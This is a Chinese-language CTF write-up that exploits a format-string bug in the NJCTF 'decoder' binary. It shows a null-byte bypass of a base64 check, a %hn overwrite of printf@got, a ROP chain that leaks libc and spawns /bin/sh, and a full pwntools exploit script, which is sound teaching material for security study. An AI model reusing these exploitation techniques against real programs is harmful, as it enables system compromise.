格式化字符串漏洞利用实战之 njctf-decoder
前言
格式化字符串漏洞也是一种比较常见的漏洞利用技术。ctf 中也经常出现。
本文以 njctf 线下赛的一道题为例进行实战。
题目链接:https://gitee.com/hac425/blog_data/blob/master/decoder
正文
程序的流程如下

部分函数已经进行了标注,看程序打印出来的提示信息就知道这个是一个 base64 解码的程序,然后可以通过 猜测 + 验证 的方式,找到那个 用于 base64 解码的函数。
这个程序的漏洞在于将 base64 解码后的字符串直接传入 snprintf, 作为 format 进行处理, 格式化漏洞。

通过格式化串可以 任意写/任意读 , 不过这里一次格式化之后就会往下一种走到程序末尾。所以这里我采用 修改 printf@got的值 为 rop gadgets,然后进行 rop.
还需要注意前面还有check ,不满足 base64 的格式规范的字符串是触发不了漏洞的。不过我们可以绕过这些 check。

程序程序获取输入时使用的是 read 函数,然而后面的 base64_check 和 base64_decode 用到的输入的长度都是使用 strlen 获取的。strlen 是通过搜索 \x00 来确定字符串的长度, 而通过 read 我们可以输入 \x00, 所以我们在正常 base64 后面加上 \x00 然后布置 rop chain 即可。
还有一个小技巧,触发漏洞时 , printf 函数还没有被调用,所以 got 表中保存的值还是没有经过 重绑定 的值。

为了绕过栈里面的 base64 字符串 ,我们需要一个 add esp 的 gadgets 可以使用 ROPgadget.

找到一个 0x08048b31, 和 printf@got 的值只有 2个字节的差距,所以使用 %hn 可以写两个字节,写的数据为 0x8b31,地址为 0x0804B010
%35633c%7$hn
然后后面调用 printf 时就会进入 rop chain, 首先通过 rop 调用 puts 打印 read@got 泄露 libc

然后再次触发漏洞,用刚刚 leak的数据,布置 rop 调用 system('/bin/sh')

最后
对于 strlen 如果我们可以输入 \x00,则它的返回值我们是可以控制的。
通过部分修改 got,执行 rop,要注意后面紧跟着调用的函数。
最后的 exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("./decoder")
gdb.attach(p, '''
b *0x08048C29
# b *0x08048C4E
b *0x08048b31
# b *0x8048c5f
c
''')
pause()
printf_got = 0x0804B010
read_got = 0x0804B00C
puts_plt = 0x08048520
main_addr = 0x08048B37
s = '%35633c%7$hn'
payload = base64.b64encode(s)
payload += "\x00" # pass check
payload += "A" * 3 # padding
payload += p32(printf_got) # addr to write
# payload += cyclic(40) # find ret eip offset
payload += cyclic(28) # padding for eip
payload += p32(puts_plt)
payload += p32(main_addr) # ret addr, ret to main, again
payload += p32(0x0804B00C) # addr to leak
p.sendline(payload)
p.recvuntil("THIS IS A SIMPLE BASE64 DECODER\n")
read_addr = u32(p.recv(4))
libc_addr = read_addr - 0xd5af0
system_addr = libc_addr + 0x3ada0
sh_addr = libc_addr + 1423787
log.info("system: " + hex(system_addr))
log.info("/bin/sh: " + hex(sh_addr))
s = '%35633c%7$hn'
payload = base64.b64encode(s)
payload += "\x00" # pass check
payload += "A" * 3 # padding
payload += p32(printf_got) # addr to write
# payload += cyclic(40) # find ret eip offset
payload += cyclic(28) # padding for eip
payload += p32(system_addr)
payload += p32(main_addr) # ret addr, ret to main, again
payload += p32(sh_addr) # addr to leak
p.sendline(payload)
p.interactive()
格式化字符串漏洞利用实战之 njctf-decoder的更多相关文章
- 格式化字符串漏洞利用实战之 0ctf-easyprintf
前言 这是 0ctf 的一道比较简单的格式化串的题目. 正文 逻辑非常简单 do_read 可以打印内存地址的数据,可用来 泄露 got. leave 格式化字符串漏洞. printf(s) 直接调用 ...
- Linux下的格式化字符串漏洞利用姿势
linux最早的漏洞防护机制nx-stack刚刚出现后就有人想出了突破方法.那就是只有栈是不可执行,而除了栈以外的其他地方还是可以执行的,只要把返回地址执行别的地方就可以. 一.格式化字符串漏洞 格式 ...
- Linux pwn入门教程(6)——格式化字符串漏洞
作者:Tangerine@SAINTSEC 0x00 printf函数中的漏洞 printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进 ...
- Linux pwn入门教程——格式化字符串漏洞
本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...
- CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇
目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...
- 通过格式化字符串漏洞绕过canary
1.1 canary内存保护机制 1.1.1 canary工作原理 canary保护机制类似于/GS保护机制,是Linux下gcc编译器的安全保护机制之一,在栈中的结构如下图所示: 在函数 ...
- 格式化字符串漏洞 format string exploit(一)
本文系原创,转载请说明出处 本文为基于CTF WIKI的PWN学习 0x00 格式化字符串原理 先附一张经典的图,如下 其栈上布局如下: some value 3.14 123456 addr of ...
- sprintf格式化字符串漏洞(转)
深入解析sprintf格式化字符串漏洞 特征: 如何利用: 可以看到, php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题: 没做字 ...
随机推荐
- AngularJS入门之Services
关于AngularJS中的DI 在开始说AngularJS的Service之前,我们先来简单讲讲DI(Dependency Injection,通常中文称之为“依赖注入”). DI是一种软件设计模式, ...
- Sington单例模式(创建型模式)
一.使用Sington单例模式的动机(Motivation) 在软件系统中,经常有一些特殊的类,必须保证它们只有一个实例,才能保证它的逻辑正确性.以及良好的效率. 大多数类用的是常规的构造器,所以往往 ...
- 【链表】Rotate List(三个指针)
题目: Given a list, rotate the list to the right by k places, where k is non-negative. For example:Giv ...
- 【数组】Game of Life
题目: According to the Wikipedia's article: "The Game of Life, also known simply as Life, is a ce ...
- elasticsearch(二) 之 elasticsearch安装
目录 elasticsearch 安装与配置 安装java 安装elastcsearch 二进制安装(tar包) 在进入生产之前我们必须要考虑到以下设置 增大打开文件句柄数量 禁用虚拟内存 合适配置的 ...
- redis 安装 与错误解决办法
redis 安装与安装中遇到的错误 redis 安装 wget http://download.redis.io/releases/redis-4.0.11.tar.gz .tar.gz cd red ...
- redis-java中的callback回掉机制
springboot整合redis后, 会提供StringRedisTEmplate和 RedisTemplate 两个模板类供食用, 有时候这并不能满足我们的需求, 需要使用 connect 处理, ...
- Maven 常见问题
1.前言 Maven,发音是[`meivin],"专家"的意思.它是一个很好的项目管理工具,很早就进入了我的必备工具行列,但是这次为了把project1项目完全迁移并应用maven ...
- UUID生成随机数工具类
package com.qiyuan.util; import java.util.UUID; public class RanNum { /** * 生成随机数<br> * GUID: ...
- Spark程序本地运行
Spark程序本地运行 本次安装是在JDK安装完成的基础上进行的! SPARK版本和hadoop版本必须对应!!! spark是基于hadoop运算的,两者有依赖关系,见下图: 前言: 1.环境 ...